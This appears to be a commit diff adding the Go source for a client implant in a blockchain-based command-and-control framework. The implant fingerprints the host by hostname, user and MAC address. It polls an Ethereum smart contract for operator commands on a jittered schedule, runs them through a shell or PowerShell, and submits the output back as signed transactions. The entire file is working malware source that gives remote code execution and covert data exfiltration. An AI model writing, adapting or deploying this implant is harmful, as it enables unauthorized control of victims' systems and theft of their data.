Upload files to "c2_blockchain_contract/cmd/client"
This commit is contained in:
@@ -0,0 +1,416 @@
|
||||
// Command client is the implant that runs on target systems. It polls the
|
||||
// blockchain for commands, executes them, and submits results.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/signal"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/ethereum/go-ethereum"
|
||||
"github.com/ethereum/go-ethereum/accounts/abi"
|
||||
"github.com/ethereum/go-ethereum/accounts/abi/bind"
|
||||
"github.com/ethereum/go-ethereum/common"
|
||||
"github.com/ethereum/go-ethereum/core/types"
|
||||
"github.com/ethereum/go-ethereum/crypto"
|
||||
"github.com/ethereum/go-ethereum/ethclient"
|
||||
)
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Embedded ABI (same as server)
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
const contractABIJSON = `[
|
||||
{"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},
|
||||
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"},
|
||||
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"},
|
||||
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
|
||||
{"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},
|
||||
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"}
|
||||
]`
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Defaults
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
const (
|
||||
defaultPollInterval = 15 // seconds
|
||||
defaultJitter = 5 // seconds
|
||||
defaultExecTimeout = 60 // seconds per command
|
||||
)
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Main
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
func main() {
|
||||
rpcURL := os.Getenv("ETH_RPC_URL")
|
||||
contractAddrStr := os.Getenv("CONTRACT_ADDR")
|
||||
pkHex := os.Getenv("PRIVATE_KEY")
|
||||
|
||||
pollInterval := defaultPollInterval
|
||||
jitter := defaultJitter
|
||||
|
||||
// CLI args override env
|
||||
args := os.Args[1:]
|
||||
for i := 0; i < len(args); i++ {
|
||||
switch args[i] {
|
||||
case "--rpc":
|
||||
if i+1 < len(args) {
|
||||
i++
|
||||
rpcURL = args[i]
|
||||
}
|
||||
case "--contract":
|
||||
if i+1 < len(args) {
|
||||
i++
|
||||
contractAddrStr = args[i]
|
||||
}
|
||||
case "--key":
|
||||
if i+1 < len(args) {
|
||||
i++
|
||||
pkHex = args[i]
|
||||
}
|
||||
case "--interval":
|
||||
if i+1 < len(args) {
|
||||
i++
|
||||
fmt.Sscanf(args[i], "%d", &pollInterval)
|
||||
}
|
||||
case "--jitter":
|
||||
if i+1 < len(args) {
|
||||
i++
|
||||
fmt.Sscanf(args[i], "%d", &jitter)
|
||||
}
|
||||
case "--help", "-h":
|
||||
printHelp()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if rpcURL == "" || contractAddrStr == "" || pkHex == "" {
|
||||
fmt.Fprintln(os.Stderr, "Missing required config. Set ETH_RPC_URL, CONTRACT_ADDR, PRIVATE_KEY, or use --rpc, --contract, --key.")
|
||||
printHelp()
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
contractAddr := common.HexToAddress(contractAddrStr)
|
||||
|
||||
// Derive implant ID from something unique but reproducible
|
||||
implantID := deriveImplantID()
|
||||
|
||||
fmt.Printf("[+] C2 Blockchain Implant\n")
|
||||
fmt.Printf(" Implant ID: 0x%x\n", implantID)
|
||||
fmt.Printf(" RPC: %s\n", rpcURL)
|
||||
fmt.Printf(" Contract: %s\n", contractAddr.Hex())
|
||||
fmt.Printf(" Poll: %ds ±%ds\n", pollInterval, jitter)
|
||||
fmt.Println()
|
||||
|
||||
client, err := ethclient.Dial(rpcURL)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] RPC dial error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
parsedABI, err := abi.JSON(strings.NewReader(contractABIJSON))
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] ABI parse error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x"))
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] Private key error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
chainID, err := client.NetworkID(nil)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] Chain ID error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] Transactor error: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Track seen command IDs to avoid re-execution
|
||||
seen := make(map[[32]byte]bool)
|
||||
|
||||
// Handle graceful shutdown
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
fmt.Println("[*] Listening for commands (Ctrl+C to stop)...")
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-sigCh:
|
||||
fmt.Println("\n[*] Shutting down.")
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
err := pollCommands(client, parsedABI, contractAddr, implantID, auth, seen)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] Poll error: %v\n", err)
|
||||
}
|
||||
|
||||
// Jittered sleep
|
||||
sleep := pollInterval
|
||||
if jitter > 0 {
|
||||
sleep += int(randInt64n(int64(jitter*2+1))) - jitter
|
||||
}
|
||||
if sleep < 1 {
|
||||
sleep = 1
|
||||
}
|
||||
time.Sleep(time.Duration(sleep) * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func printHelp() {
|
||||
fmt.Println(`Usage: client [flags]
|
||||
|
||||
Flags:
|
||||
--rpc <url> Ethereum RPC URL (or ETH_RPC_URL)
|
||||
--contract <addr> Contract address (or CONTRACT_ADDR)
|
||||
--key <hex> Private key for result submission (or PRIVATE_KEY)
|
||||
--interval <sec> Poll interval in seconds (default 15)
|
||||
--jitter <sec> Jitter range in seconds (default 5)
|
||||
--help, -h Show this help
|
||||
|
||||
The implant polls the contract for commands, executes them, and submits results.
|
||||
Read operations are free (no gas). Submitting results requires a wallet with gas.`)
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Implant ID derivation
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
func deriveImplantID() [32]byte {
|
||||
hostname, _ := os.Hostname()
|
||||
u, _ := user.Current()
|
||||
mac := getMAC()
|
||||
|
||||
raw := fmt.Sprintf("%s|%s|%s|%d", hostname, u.Username, mac, runtime.GOARCH)
|
||||
hash := crypto.Keccak256Hash([]byte(raw))
|
||||
var id [32]byte
|
||||
copy(id[:], hash.Bytes())
|
||||
return id
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Poll & Execute
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
func pollCommands(
|
||||
client *ethclient.Client,
|
||||
parsedABI abi.ABI,
|
||||
contractAddr common.Address,
|
||||
implantID [32]byte,
|
||||
auth *bind.TransactOpts,
|
||||
seen map[[32]byte]bool,
|
||||
) error {
|
||||
// Method 1: getActiveCommands (view, free)
|
||||
cmdIDs := getActiveCommandIDs(client, parsedABI, contractAddr, implantID)
|
||||
if len(cmdIDs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
for _, cmdID := range cmdIDs {
|
||||
if seen[cmdID] {
|
||||
continue
|
||||
}
|
||||
|
||||
// getCommand (view, free)
|
||||
cmdStr, err := getCommandStr(client, parsedABI, contractAddr, implantID, cmdID)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] getCommand error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if cmdStr == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
fmt.Printf("[!] Executing command: %s\n", cmdStr)
|
||||
output, err := executeCommand(cmdStr)
|
||||
if err != nil {
|
||||
output = fmt.Sprintf("ERROR: %v\n%s", err, output)
|
||||
}
|
||||
fmt.Printf("[+] Output (%d bytes)\n", len(output))
|
||||
|
||||
// Submit result (needs gas)
|
||||
txHash, err := submitResult(client, parsedABI, contractAddr, auth, implantID, cmdID, output)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "[-] submitResult error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("[+] Result submitted: %s\n", txHash.Hash().Hex())
|
||||
|
||||
seen[cmdID] = true
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Blockchain interaction helpers
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
func getActiveCommandIDs(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID [32]byte) [][32]byte {
|
||||
data, err := parsedABI.Pack("getActiveCommands", implantID)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unpack the dynamic array
|
||||
var ids [][32]byte
|
||||
if err := parsedABI.UnpackIntoInterface(&ids, "getActiveCommands", resp); err != nil {
|
||||
return nil
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
func getCommandStr(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID, cmdID [32]byte) (string, error) {
|
||||
data, err := parsedABI.Pack("getCommand", implantID, cmdID)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var cmdStr string
|
||||
if err := parsedABI.UnpackIntoInterface(&cmdStr, "getCommand", resp); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return cmdStr, nil
|
||||
}
|
||||
|
||||
func submitResult(
|
||||
client *ethclient.Client,
|
||||
parsedABI abi.ABI,
|
||||
contractAddr common.Address,
|
||||
auth *bind.TransactOpts,
|
||||
implantID, cmdID [32]byte,
|
||||
result string,
|
||||
) (*types.Transaction, error) {
|
||||
data, err := parsedABI.Pack("submitResult", implantID, cmdID, result)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("pack: %w", err)
|
||||
}
|
||||
|
||||
gasPrice, err := client.SuggestGasPrice(nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("gasPrice: %w", err)
|
||||
}
|
||||
// Buffer
|
||||
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
|
||||
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
|
||||
|
||||
nonce, err := client.PendingNonceAt(nil, auth.From)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("nonce: %w", err)
|
||||
}
|
||||
|
||||
tx := types.NewTransaction(nonce, contractAddr, big.NewInt(0), 200000, gasPrice, data)
|
||||
signedTx, err := auth.Signer(auth.From, tx)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
if err := client.SendTransaction(nil, signedTx); err != nil {
|
||||
return nil, fmt.Errorf("send: %w", err)
|
||||
}
|
||||
return signedTx, nil
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Command Execution
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
func executeCommand(cmdStr string) (string, error) {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// Use shell for flexibility
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("powershell.exe", "-NoProfile", "-Command", cmdStr)
|
||||
default:
|
||||
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||
}
|
||||
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
// Timeout
|
||||
timer := time.AfterFunc(defaultExecTimeout*time.Second, func() {
|
||||
if cmd.Process != nil {
|
||||
cmd.Process.Kill()
|
||||
}
|
||||
})
|
||||
defer timer.Stop()
|
||||
|
||||
err := cmd.Run()
|
||||
output := stdout.String()
|
||||
if stderr.Len() > 0 {
|
||||
if output != "" {
|
||||
output += "\n--- STDERR ---\n"
|
||||
}
|
||||
output += stderr.String()
|
||||
}
|
||||
|
||||
return output, err
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────
|
||||
// Utility
|
||||
// ──────────────────────────────────────────────
|
||||
|
||||
func getMAC() string {
|
||||
// Best-effort MAC address for implant identity
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
if len(iface.HardwareAddr) > 0 && iface.Flags&net.FlagLoopback == 0 && iface.Flags&net.FlagUp != 0 {
|
||||
return iface.HardwareAddr.String()
|
||||
}
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func randInt64n(n int64) int64 {
|
||||
// Simple LCG — fine for jitter, not for crypto
|
||||
if n <= 0 {
|
||||
return 0
|
||||
}
|
||||
seed := time.Now().UnixNano()
|
||||
return (seed % n + n) % n
|
||||
}
|
||||
Reference in New Issue
Block a user